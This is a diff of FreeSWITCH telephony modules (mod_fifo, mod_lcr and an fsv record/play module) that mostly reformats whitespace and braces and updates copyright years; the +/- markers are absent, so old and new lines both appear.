if (node && node->ready == FIFO_DELAY_DESTROY && node->consumer_count == 0 && node->caller_count == 0) {
@@ -1636,7 +1643,7 @@ static int xml_callback(void *pArg, int argc, char **argv, char **columnNames)
switch_xml_set_attr_d(x_out, "outbound-call-count", argv[10]);
switch_xml_set_attr_d(x_out, "outbound-fail-count", argv[11]);
switch_xml_set_attr_d(x_out, "next-available", expires);
switch_xml_set_txt_d(x_out, argv[2]);
return 0;
@@ -1657,7 +1664,7 @@ static int xml_outbound(switch_xml_t xml, fifo_node_t *node, char *container, ch
h.verbose = verbose;
fifo_execute_sql_callback(globals.sql_mutex, sql, xml_callback, &h);
switch_safe_free(sql);
return h.cc_off;
@@ -1736,7 +1743,7 @@ static void list_node(fifo_node_t *node, switch_xml_t x_report, int *off, int ve
switch_xml_set_attr_d(x_fifo, "waiting_count", tmp);
switch_snprintf(tmp, sizeof(buffer), "%u", node->importance);
switch_xml_set_attr_d(x_fifo, "importance", tmp);
cc_off = xml_outbound(x_fifo, node, "outbound", "member", cc_off, verbose);
cc_off = xml_hash(x_fifo, node->caller_hash, "callers", "caller", cc_off, verbose);
cc_off = xml_hash(x_fifo, node->consumer_hash, "consumers", "consumer", cc_off, verbose);
@@ -1851,7 +1858,7 @@ SWITCH_STANDARD_API(fifo_api_function)
}
const char outbound_sql[] =
const char outbound_sql[] =
"create table fifo_outbound (\n"
" uuid varchar(255),\n"
" fifo_name varchar(255),\n"
@@ -1861,19 +1868,14 @@ const char outbound_sql[] =
" timeout integer,\n"
" lag integer,\n"
" next_avail integer,\n"
" expires integer,\n"
" static integer,\n"
" outbound_call_count integer,"
" outbound_fail_count integer,"
" hostname varchar(255)\n"
");\n";
" expires integer,\n" " static integer,\n" " outbound_call_count integer," " outbound_fail_count integer," " hostname varchar(255)\n" ");\n";
static switch_status_t load_config(int reload, int del_all)
{
char *cf = "fifo.conf";
switch_xml_t cfg, xml, fifo, fifos, member, settings, param;
switch_status_t status = SWITCH_STATUS_SUCCESS;
switch_status_t status = SWITCH_STATUS_SUCCESS;
char *sql;
switch_bool_t delete_all_outbound_member_on_startup = SWITCH_FALSE;
switch_cache_db_handle_t *dbh = NULL;
@@ -1892,7 +1894,7 @@ static switch_status_t load_config(int reload, int del_all)
var = (char *) switch_xml_attr_soft(param, "name");
val = (char *) switch_xml_attr_soft(param, "value");
if (!strcasecmp(var, "odbc-dsn") && !zstr(val)) {
if (switch_odbc_available()) {
globals.odbc_dsn = switch_core_strdup(globals.pool, val);
@@ -1915,13 +1917,13 @@ static switch_status_t load_config(int reload, int del_all)
globals.dbname = "fifo";
}
if (!(dbh = fifo_get_db_handle())) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot open DB!\n");
goto done;
}
switch_cache_db_test_reactive(dbh, "delete from fifo_outbound where static = 1", "drop table fifo_outbound", outbound_sql);
switch_cache_db_release_db_handle(&dbh);
@@ -1939,12 +1941,12 @@ static switch_status_t load_config(int reload, int del_all)
switch_mutex_unlock(globals.mutex);
}
if ((reload && del_all) || (!reload && delete_all_outbound_member_on_startup) ) {
if ((reload && del_all) || (!reload && delete_all_outbound_member_on_startup)) {
sql = switch_mprintf("delete from fifo_outbound where hostname='%q'", globals.hostname);
} else {
sql = switch_mprintf("delete from fifo_outbound where static=1 and hostname='%q'", globals.hostname);
}
fifo_execute_sql(sql, globals.sql_mutex);
switch_safe_free(sql);
@@ -1959,14 +1961,14 @@ static switch_status_t load_config(int reload, int del_all)
int timeout_i = 60;
int lag_i = 10;
fifo_node_t *node;
name = switch_xml_attr(fifo, "name");
if ((importance = switch_xml_attr(fifo, "importance"))) {
if ((imp = atoi(importance)) < 0) {
imp = 0;
}
}
}
if (!name) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "fifo has no name!\n");
@@ -1978,11 +1980,11 @@ static switch_status_t load_config(int reload, int del_all)
node = create_node(name, imp, globals.sql_mutex);
}
switch_mutex_unlock(globals.mutex);
switch_assert(node);
switch_mutex_lock(node->mutex);
for (member = switch_xml_child(fifo, "member"); member; member = member->next) {
const char *simo = switch_xml_attr_soft(member, "simo");
const char *lag = switch_xml_attr_soft(member, "lag");
@@ -2007,12 +2009,12 @@ static switch_status_t load_config(int reload, int del_all)
lag_i = 10;
}
}
name_dup = strdup(node->name);
if ((p = strchr(name_dup, '@'))) {
*p = '\0';
}
if (switch_stristr("origination_caller_id", member->txt)) {
sql = switch_mprintf("insert into fifo_outbound "
"(uuid, fifo_name, originate_string, simo_count, use_count, timeout, lag, "
@@ -2030,7 +2032,7 @@ static switch_status_t load_config(int reload, int del_all)
"'{execute_on_answer=''unset fifo_hangup_check'',fifo_hangup_check=''%q'',origination_caller_id_name=Queue,"
"origination_caller_id_number=''fifo+%q''}%q',%d,%d,%d,%d,0,0,1,0,0,'%q')",
digest, node->name, node->name, name_dup, member->txt, simo_i, 0, timeout_i, lag_i, globals.hostname);
}
switch_assert(sql);
@@ -2038,14 +2040,14 @@ static switch_status_t load_config(int reload, int del_all)
free(sql);
free(name_dup);
node->has_outbound = 1;
}
node->ready = 1;
node->is_static = 1;
switch_mutex_unlock(node->mutex);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s configured\n", node->name);
}
}
switch_xml_free(xml);
@@ -2057,7 +2059,7 @@ static switch_status_t load_config(int reload, int del_all)
void *val, *pop;
fifo_node_t *node;
switch_mutex_lock(globals.mutex);
top:
top:
for (hi = switch_hash_first(NULL, globals.fifo_hash); hi; hi = switch_hash_next(hi)) {
int x = 0;
switch_hash_this(hi, NULL, NULL, &val);
@@ -2076,7 +2078,7 @@ static switch_status_t load_config(int reload, int del_all)
free(pop);
}
}
switch_core_hash_delete(globals.fifo_hash, node->name);
switch_core_hash_destroy(&node->caller_hash);
switch_core_hash_destroy(&node->consumer_hash);
@@ -2099,15 +2101,15 @@ static void fifo_member_add(char *fifo_name, char *originate_string, int simo_co
char digest[SWITCH_MD5_DIGEST_STRING_SIZE] = { 0 };
char *sql, *name_dup, *p;
fifo_node_t *node = NULL;
switch_md5_string(digest, (void *) originate_string, strlen(originate_string));
sql = switch_mprintf("delete from fifo_outbound where fifo_name='%q' and uuid = '%q'", fifo_name, digest);
switch_assert(sql);
fifo_execute_sql(sql, globals.sql_mutex);
free(sql);
switch_mutex_lock(globals.mutex);
if (!(node = switch_core_hash_find(globals.fifo_hash, fifo_name))) {
node = create_node(fifo_name, 0, globals.sql_mutex);
@@ -2115,7 +2117,7 @@ static void fifo_member_add(char *fifo_name, char *originate_string, int simo_co
}
switch_mutex_unlock(globals.mutex);
node->has_outbound = 1;
node->has_outbound = 1;
name_dup = strdup(fifo_name);
if ((p = strchr(name_dup, '@'))) {
@@ -2128,13 +2130,12 @@ static void fifo_member_add(char *fifo_name, char *originate_string, int simo_co
"values ('%q','%q',"
"'{execute_on_answer=''unset fifo_hangup_check'',fifo_hangup_check=''%q'',origination_caller_id_name=Queue,"
"origination_caller_id_number=''fifo+%q''}%q',%d,%d,%d,%d,%d,%ld,0,0,0,'%q')",
digest, fifo_name, fifo_name, name_dup, originate_string, simo_count, 0, timeout, lag, 0, (long)expires, globals.hostname
);
digest, fifo_name, fifo_name, name_dup, originate_string, simo_count, 0, timeout, lag, 0, (long) expires, globals.hostname);
switch_assert(sql);
fifo_execute_sql(sql, globals.sql_mutex);
free(sql);
free(name_dup);
}
static void fifo_member_del(char *fifo_name, char *originate_string)
@@ -2143,7 +2144,7 @@ static void fifo_member_del(char *fifo_name, char *originate_string)
char *sql;
switch_md5_string(digest, (void *) originate_string, strlen(originate_string));
sql = switch_mprintf("delete from fifo_outbound where fifo_name='%q' and uuid = '%q' and hostname='%q'", fifo_name, digest, globals.hostname);
switch_assert(sql);
fifo_execute_sql(sql, globals.sql_mutex);
@@ -2167,7 +2168,7 @@ SWITCH_STANDARD_API(fifo_member_api_function)
return SWITCH_STATUS_FALSE;
}
if (zstr(cmd)){
if (zstr(cmd)) {
stream->write_function(stream, "-USAGE: %s\n", FIFO_MEMBER_API_SYNTAX);
return SWITCH_STATUS_SUCCESS;
}
@@ -2181,11 +2182,11 @@ SWITCH_STANDARD_API(fifo_member_api_function)
stream->write_function(stream, "%s", "-ERR Invalid!\n");
goto done;
}
action = argv[0];
fifo_name = argv[1];
originate_string = argv[2];
if (action && !strcasecmp(action, "add")) {
if (argc > 3) {
simo_count = atoi(argv[3]);
@@ -2208,7 +2209,7 @@ SWITCH_STANDARD_API(fifo_member_api_function)
if (lag < 0) {
lag = 5;
}
fifo_member_add(fifo_name, originate_string, simo_count, timeout, lag, expires);
stream->write_function(stream, "%s", "+OK\n");
} else if (action && !strcasecmp(action, "del")) {
@@ -2240,7 +2241,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_fifo_load)
}
/* Subscribe to presence request events */
if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY,
if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY,
pres_event_handler, NULL, &globals.node) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't subscribe to presence request events!\n");
return SWITCH_STATUS_GENERR;
@@ -2250,10 +2251,10 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_fifo_load)
switch_core_hash_init(&globals.fifo_hash, globals.pool);
switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, globals.pool);
switch_mutex_init(&globals.sql_mutex, SWITCH_MUTEX_NESTED, globals.pool);
globals.running = 1;
if ((status = load_config(0,1)) != SWITCH_STATUS_SUCCESS) {
if ((status = load_config(0, 1)) != SWITCH_STATUS_SUCCESS) {
switch_event_unbind(&globals.node);
switch_event_free_subclass(FIFO_EVENT);
switch_core_hash_destroy(&globals.fifo_hash);
@@ -2287,24 +2288,24 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_fifo_shutdown)
fifo_node_t *node;
switch_memory_pool_t *pool = globals.pool;
switch_mutex_t *mutex = globals.mutex;
switch_event_unbind(&globals.node);
switch_event_free_subclass(FIFO_EVENT);
switch_mutex_lock(mutex);
globals.running = 0;
/* Cleanup */
if (globals.node_thread_running) {
stop_node_thread();
}
while ((hi = switch_hash_first(NULL, globals.fifo_hash))) {
int x = 0;
switch_hash_this(hi, NULL, NULL, &val);
node = (fifo_node_t *) val;
switch_thread_rwlock_wrlock(node->rwlock);
for (x = 0; x < MAX_PRI; x++) {
while (switch_queue_trypop(node->fifo_list[x], &pop) == SWITCH_STATUS_SUCCESS) {
+4 -4
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -107,7 +107,7 @@ SWITCH_STANDARD_APP(record_fsv_function)
int fd;
switch_mutex_t *mutex = NULL;
switch_codec_t codec, *vid_codec;
switch_codec_implementation_t read_impl = {0};
switch_codec_implementation_t read_impl = { 0 };
switch_core_session_get_read_impl(session, &read_impl);
switch_channel_answer(channel);
@@ -227,8 +227,8 @@ SWITCH_STANDARD_APP(play_fsv_function)
uint32_t ts = 0, last = 0;
switch_timer_t timer = { 0 };
switch_payload_t pt = 0;
switch_codec_implementation_t read_impl = {0};
switch_core_session_get_read_impl(session, &read_impl);
switch_codec_implementation_t read_impl = { 0 };
switch_core_session_get_read_impl(session, &read_impl);
aud_buffer = switch_core_session_alloc(session, SWITCH_RECOMMENDED_BUFFER_SIZE);
vid_buffer = switch_core_session_alloc(session, SWITCH_RECOMMENDED_BUFFER_SIZE);
+196 -226
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -122,7 +122,7 @@ struct profile_obj {
switch_bool_t profile_has_intrastate;
switch_bool_t profile_has_intralata;
switch_bool_t profile_has_npanxx;
switch_bool_t reorder_by_rate;
switch_bool_t quote_in_list;
switch_bool_t info_in_headers;
@@ -173,21 +173,21 @@ static const char *do_cid(switch_memory_pool_t *pool, const char *cid, const cha
char *src_regex = NULL;
char *dst_regex = NULL;
switch_channel_t *channel = NULL;
if (!zstr(cid)) {
len = strlen(cid);
} else {
goto done;
}
src = switch_core_strdup(pool, cid);
/* check that this is a valid regexp and split the string */
if ((src[0] == '/') && src[len-1] == '/') {
if ((src[0] == '/') && src[len - 1] == '/') {
/* strip leading / trailing slashes */
src[len-1] = '\0';
src[len - 1] = '\0';
src++;
/* break on first / */
dst = strchr(src, '/');
*dst = '\0';
@@ -216,12 +216,12 @@ static const char *do_cid(switch_memory_pool_t *pool, const char *cid, const cha
switch_safe_free(tmp_regex);
dst = dst_regex;
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "expanded src: %s, dst: %s\n", src, dst);
}
if ((proceed = switch_regex_perform(number, src, &re, ovector, sizeof(ovector) / sizeof(ovector[0])))) {
len = (uint32_t) (strlen(src) + strlen(dst) + 10) * proceed; /* guestimate size */
len = (uint32_t) (strlen(src) + strlen(dst) + 10) * proceed; /* guestimate size */
if (!(substituted = switch_core_alloc(pool, len))) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Memory Error!\n");
goto done;
@@ -233,77 +233,71 @@ static const char *do_cid(switch_memory_pool_t *pool, const char *cid, const cha
}
switch_regex_safe_free(re);
return substituted;
done:
done:
switch_regex_safe_free(re);
return number;
}
static char *get_bridge_data(switch_memory_pool_t *pool, char *dialed_number, char *caller_id, lcr_route cur_route, profile_t *profile, switch_core_session_t *session)
static char *get_bridge_data(switch_memory_pool_t *pool, char *dialed_number, char *caller_id, lcr_route cur_route, profile_t *profile,
switch_core_session_t *session)
{
size_t lstrip;
size_t tstrip;
size_t tstrip;
char *data = NULL;
char *destination_number = NULL;
char *orig_destination_number = NULL;
char *orig_destination_number = NULL;
char *codec = NULL;
char *cid = NULL;
char *header = NULL;
char *user_rate = NULL;
orig_destination_number = destination_number = switch_core_strdup(pool, dialed_number);
tstrip = ((cur_route->digit_len - cur_route->tstrip) + 1);
lstrip = cur_route->lstrip;
if (cur_route->tstrip > 0) {
if (strlen(destination_number) > tstrip) {
destination_number[tstrip] = '\0';
}
else {
} else {
destination_number[0] = '\0';
}
}
}
}
if (cur_route->lstrip > 0) {
if (strlen(destination_number) > lstrip) {
destination_number += lstrip;
}
else {
} else {
destination_number[0] = '\0';
}
}
}
codec = "";
if (!zstr(cur_route->codec)) {
codec = switch_core_sprintf(pool, ",absolute_codec_string=%s", cur_route->codec);
}
cid = "";
if (!zstr(cur_route->cid)) {
cid = switch_core_sprintf(pool, ",origination_caller_id_number=%s",
do_cid(pool, cur_route->cid, caller_id, session));
cid = switch_core_sprintf(pool, ",origination_caller_id_number=%s", do_cid(pool, cur_route->cid, caller_id, session));
}
header = "";
if (profile->info_in_headers) {
header = switch_core_sprintf(pool, ",sip_h_X-LCR-INFO=lcr_rate=%s;lcr_carrier=%s",
cur_route->rate_str,
cur_route->carrier_name);
header = switch_core_sprintf(pool, ",sip_h_X-LCR-INFO=lcr_rate=%s;lcr_carrier=%s", cur_route->rate_str, cur_route->carrier_name);
}
if (zstr(cur_route->user_rate_str)) {
user_rate = "";
} else {
user_rate = switch_core_sprintf(pool, ",lcr_user_rate=%s", cur_route->user_rate_str);
}
data = switch_core_sprintf(pool, "[lcr_carrier=%s,lcr_rate=%s%s%s%s%s]%s%s%s%s%s"
, cur_route->carrier_name, cur_route->rate_str
, user_rate, codec, cid, header
, cur_route->gw_prefix, cur_route->prefix
, destination_number, cur_route->suffix, cur_route->gw_suffix);
data =
switch_core_sprintf(pool, "[lcr_carrier=%s,lcr_rate=%s%s%s%s%s]%s%s%s%s%s", cur_route->carrier_name, cur_route->rate_str, user_rate, codec, cid,
header, cur_route->gw_prefix, cur_route->prefix, destination_number, cur_route->suffix, cur_route->gw_suffix);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Returning Dialstring %s\n", data);
return data;
}
@@ -311,13 +305,13 @@ static char *get_bridge_data(switch_memory_pool_t *pool, char *dialed_number, ch
static profile_t *locate_profile(const char *profile_name)
{
profile_t *profile = NULL;
if (zstr(profile_name)) {
profile = globals.default_profile;
} else if (!(profile = switch_core_hash_find(globals.profile_hash, profile_name))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error invalid profile %s\n", profile_name);
}
return profile;
}
@@ -365,7 +359,7 @@ static switch_status_t process_max_lengths(max_obj_t *maxes, lcr_route routes, c
if (current->digit_str != NULL) {
if (current->digit_len > maxes->digit_str) {
maxes->digit_str = current->digit_len;
}
}
}
if (current->rate_str != NULL) {
this_len = strlen(current->rate_str);
@@ -374,7 +368,7 @@ static switch_status_t process_max_lengths(max_obj_t *maxes, lcr_route routes, c
}
}
if (current->codec != NULL) {
this_len= strlen(current->codec);
this_len = strlen(current->codec);
if (this_len > maxes->codec) {
maxes->codec = this_len;
}
@@ -393,13 +387,14 @@ static switch_cache_db_handle_t *lcr_get_db_handle(void)
{
switch_cache_db_connection_options_t options = { {0} };
switch_cache_db_handle_t *dbh = NULL;
if (!zstr(globals.odbc_dsn)) {
options.odbc_options.dsn = globals.odbc_dsn;
options.odbc_options.user = globals.odbc_user;
options.odbc_options.pass = globals.odbc_pass;
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
dbh = NULL;
}
return dbh;
}
@@ -430,23 +425,23 @@ static switch_bool_t set_db_random()
db_random = "random()";
return SWITCH_TRUE;
}
return SWITCH_FALSE;
}
/* make a new string with digits only */
static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
{
char *p, *np, *newstr;
size_t len;
p = (char *)str;
p = (char *) str;
len = strlen(str);
newstr = switch_core_alloc(pool, len+1);
newstr = switch_core_alloc(pool, len + 1);
np = newstr;
while(*p) {
while (*p) {
if (switch_isdigit(*p)) {
*np = *p;
np++;
@@ -478,14 +473,10 @@ static char *expand_digits(switch_memory_pool_t *pool, char *digits, switch_bool
digit_len = strlen(digits);
digits_copy = switch_core_strdup(pool, digits);
for (n = digit_len; n > 0; n--) {
digits_copy[n] = '\0';
dig_stream.write_function(&dig_stream, "%s%s%s%s",
(n==digit_len ? "" : ", "),
(quote ? "'" : ""),
digits_copy,
(quote ? "'" : ""));
dig_stream.write_function(&dig_stream, "%s%s%s%s", (n == digit_len ? "" : ", "), (quote ? "'" : ""), digits_copy, (quote ? "'" : ""));
}
ret = switch_core_strdup(pool, dig_stream.data);
@@ -496,42 +487,41 @@ static char *expand_digits(switch_memory_pool_t *pool, char *digits, switch_bool
/* format the custom sql */
static char *format_custom_sql(const char *custom_sql, callback_t *cb_struct, const char *digits)
{
char * tmpSQL = NULL;
char * newSQL = NULL;
char *tmpSQL = NULL;
char *newSQL = NULL;
switch_channel_t *channel;
/* first replace %s with digits to maintain backward compat */
if (cb_struct->profile->custom_sql_has_percent == SWITCH_TRUE) {
tmpSQL = switch_string_replace(custom_sql, "%q", digits);
newSQL = tmpSQL;
}
/* expand the vars */
if (cb_struct->profile->custom_sql_has_vars == SWITCH_TRUE) {
if (cb_struct->session) {
channel = switch_core_session_get_channel(cb_struct->session);
switch_assert(channel);
/*
newSQL = switch_channel_expand_variables_escape(channel,
tmpSQL ? tmpSQL : custom_sql,
escape_sql);
*/
newSQL = switch_channel_expand_variables(channel,
tmpSQL ? tmpSQL : custom_sql);
newSQL = switch_channel_expand_variables_escape(channel,
tmpSQL ? tmpSQL : custom_sql,
escape_sql);
*/
newSQL = switch_channel_expand_variables(channel, tmpSQL ? tmpSQL : custom_sql);
} else if (cb_struct->event) {
/* use event system to expand vars */
newSQL = switch_event_expand_headers(cb_struct->event, tmpSQL ? tmpSQL : custom_sql);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_CRIT,
"mod_lcr called without a valid session while using a custom_sql that has channel variables.\n");
"mod_lcr called without a valid session while using a custom_sql that has channel variables.\n");
}
}
if (tmpSQL != newSQL) {
switch_safe_free(tmpSQL);
}
if (newSQL == NULL) {
return (char *) custom_sql;
} else {
@@ -543,10 +533,10 @@ static switch_bool_t lcr_execute_sql_callback(char *sql, switch_core_db_callback
{
switch_bool_t retval = SWITCH_FALSE;
switch_cache_db_handle_t *dbh = NULL;
if (globals.odbc_dsn && (dbh = lcr_get_db_handle())) {
if (switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, NULL)
== SWITCH_ODBC_FAIL) {
== SWITCH_ODBC_FAIL) {
retval = SWITCH_FALSE;
} else {
retval = SWITCH_TRUE;
@@ -562,23 +552,21 @@ static int route_add_callback(void *pArg, int argc, char **argv, char **columnNa
lcr_route current = NULL;
callback_t *cbt = (callback_t *) pArg;
char *key = NULL;
switch_memory_pool_t *pool = cbt->pool;
if (argc < LCR_QUERY_COLS_REQUIRED) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
"Unexpected number of columns returned for SQL. Returned column count: %d. "
"If using a custom sql for this profile, verify it is correct. Otherwise file a bug report.\n",
argc);
"Unexpected number of columns returned for SQL. Returned column count: %d. "
"If using a custom sql for this profile, verify it is correct. Otherwise file a bug report.\n", argc);
return SWITCH_STATUS_GENERR;
}
if (zstr(argv[LCR_GW_PREFIX_PLACE]) && zstr(argv[LCR_GW_SUFFIX_PLACE]) ) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
"There's no way to dial this Gateway: Carrier: \"%s\" Prefix: \"%s\", Suffix \"%s\"\n",
switch_str_nil(argv[LCR_CARRIER_PLACE]),
switch_str_nil(argv[LCR_GW_PREFIX_PLACE]), switch_str_nil(argv[LCR_GW_SUFFIX_PLACE]));
if (zstr(argv[LCR_GW_PREFIX_PLACE]) && zstr(argv[LCR_GW_SUFFIX_PLACE])) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
"There's no way to dial this Gateway: Carrier: \"%s\" Prefix: \"%s\", Suffix \"%s\"\n",
switch_str_nil(argv[LCR_CARRIER_PLACE]), switch_str_nil(argv[LCR_GW_PREFIX_PLACE]), switch_str_nil(argv[LCR_GW_SUFFIX_PLACE]));
return SWITCH_STATUS_SUCCESS;
}
@@ -590,7 +578,7 @@ static int route_add_callback(void *pArg, int argc, char **argv, char **columnNa
additional->suffix = switch_core_strdup(pool, switch_str_nil(argv[LCR_SUFFIX_PLACE]));
additional->prefix = switch_core_strdup(pool, switch_str_nil(argv[LCR_PREFIX_PLACE]));
additional->carrier_name = switch_core_strdup(pool, switch_str_nil(argv[LCR_CARRIER_PLACE]));
additional->rate = (float)atof(switch_str_nil(argv[LCR_RATE_PLACE]));
additional->rate = (float) atof(switch_str_nil(argv[LCR_RATE_PLACE]));
additional->rate_str = switch_core_sprintf(pool, "%0.5f", additional->rate);
additional->gw_prefix = switch_core_strdup(pool, switch_str_nil(argv[LCR_GW_PREFIX_PLACE]));
additional->gw_suffix = switch_core_strdup(pool, switch_str_nil(argv[LCR_GW_SUFFIX_PLACE]));
@@ -603,7 +591,7 @@ static int route_add_callback(void *pArg, int argc, char **argv, char **columnNa
additional->cid = switch_core_strdup(pool, switch_str_nil(argv[LCR_CID_PLACE]));
}
if (argc > LCR_USER_RATE_PLACE) {
additional->user_rate = (float)atof(switch_str_nil(argv[LCR_USER_RATE_PLACE]));
additional->user_rate = (float) atof(switch_str_nil(argv[LCR_USER_RATE_PLACE]));
additional->user_rate_str = switch_core_sprintf(pool, "%0.5f", additional->user_rate);
}
additional->dialstring = get_bridge_data(pool, cbt->lookup_number, cbt->cid, additional, cbt->profile, cbt->session);
@@ -620,14 +608,12 @@ static int route_add_callback(void *pArg, int argc, char **argv, char **columnNa
return SWITCH_STATUS_SUCCESS;
}
for (current = cbt->head; current; current = current->next) {
key = switch_core_sprintf(pool, "%s:%s", additional->gw_prefix, additional->gw_suffix);
if (switch_core_hash_find(cbt->dedup_hash, key)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
"Ignoring Duplicate route for termination point (%s)\n",
key);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Ignoring Duplicate route for termination point (%s)\n", key);
break;
}
@@ -647,13 +633,12 @@ static int route_add_callback(void *pArg, int argc, char **argv, char **columnNa
if (current->rate > additional->rate) {
/* insert myself here */
if (current->prev != NULL) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Adding %s before %s\n",
additional->carrier_name, current->carrier_name);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Adding %s before %s\n", additional->carrier_name, current->carrier_name);
current->prev->next = additional;
} else {
/* put this one at the head */
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Inserting %s to list head before %s\n",
additional->carrier_name, current->carrier_name);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Inserting %s to list head before %s\n",
additional->carrier_name, current->carrier_name);
cbt->head = additional;
}
additional->next = current;
@@ -665,7 +650,7 @@ static int route_add_callback(void *pArg, int argc, char **argv, char **columnNa
break;
} else if (current->next == NULL) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "adding %s to end of list after %s\n",
additional->carrier_name, current->carrier_name);
additional->carrier_name, current->carrier_name);
current->next = additional;
additional->prev = current;
if (switch_core_hash_insert(cbt->dedup_hash, key, additional) != SWITCH_STATUS_SUCCESS) {
@@ -683,7 +668,7 @@ static int intrastatelata_callback(void *pArg, int argc, char **argv, char **col
{
int count = 0;
callback_t *cbt = (callback_t *) pArg;
count = atoi(argv[1]);
if (count == 1) {
if (!strcmp(argv[0], "state")) {
@@ -693,19 +678,19 @@ static int intrastatelata_callback(void *pArg, int argc, char **argv, char **col
}
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Type: %s, Count: %d\n", argv[0], count);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Type: %s, Count: %d\n", argv[0], count);
return SWITCH_STATUS_SUCCESS;
}
static switch_status_t is_intrastatelata(callback_t *cb_struct)
{
char *sql = NULL;
/* extract npa nxx - make some assumptions about format:
e164 format without the +
NANP only (so 11 digits starting with 1)
*/
e164 format without the +
NANP only (so 11 digits starting with 1)
*/
if (!cb_struct->lookup_number || (strlen(cb_struct->lookup_number) != 11 && *cb_struct->lookup_number != '1')) {
/* dest doesn't appear to be NANP number */
return SWITCH_STATUS_GENERR;
@@ -714,29 +699,28 @@ static switch_status_t is_intrastatelata(callback_t *cb_struct)
/* cid not NANP */
return SWITCH_STATUS_GENERR;
}
/* assume that if the area code (plus leading 1) are the same we're intrastate */
/* probably a bad assumption */
/*
if (!strncmp(cb_struct->lookup_number, cb_struct->cid, 4)) {
cb_struct->intrastate = SWITCH_TRUE;
return SWITCH_STATUS_SUCCESS;
}
*/
if (!strncmp(cb_struct->lookup_number, cb_struct->cid, 4)) {
cb_struct->intrastate = SWITCH_TRUE;
return SWITCH_STATUS_SUCCESS;
}
*/
sql = switch_core_sprintf(cb_struct->pool,
"SELECT 'state', count(DISTINCT state) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)"
" UNION "
"SELECT 'lata', count(DISTINCT lata) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)",
cb_struct->lookup_number+1, cb_struct->lookup_number+4,
cb_struct->cid+1, cb_struct->cid+4,
cb_struct->lookup_number+1, cb_struct->lookup_number+4,
cb_struct->cid+1, cb_struct->cid+4);
"SELECT 'state', count(DISTINCT state) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)"
" UNION "
"SELECT 'lata', count(DISTINCT lata) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)",
cb_struct->lookup_number + 1, cb_struct->lookup_number + 4,
cb_struct->cid + 1, cb_struct->cid + 4,
cb_struct->lookup_number + 1, cb_struct->lookup_number + 4, cb_struct->cid + 1, cb_struct->cid + 4);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "SQL: %s\n", sql);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "SQL: %s\n", sql);
return (lcr_execute_sql_callback(sql, intrastatelata_callback, cb_struct));
return(lcr_execute_sql_callback(sql, intrastatelata_callback, cb_struct));
}
static switch_status_t lcr_do_lookup(callback_t *cb_struct)
@@ -752,26 +736,26 @@ static switch_status_t lcr_do_lookup(callback_t *cb_struct)
char *safe_sql = NULL;
char *rate_field = NULL;
char *user_rate_field = NULL;
switch_assert(cb_struct->lookup_number != NULL);
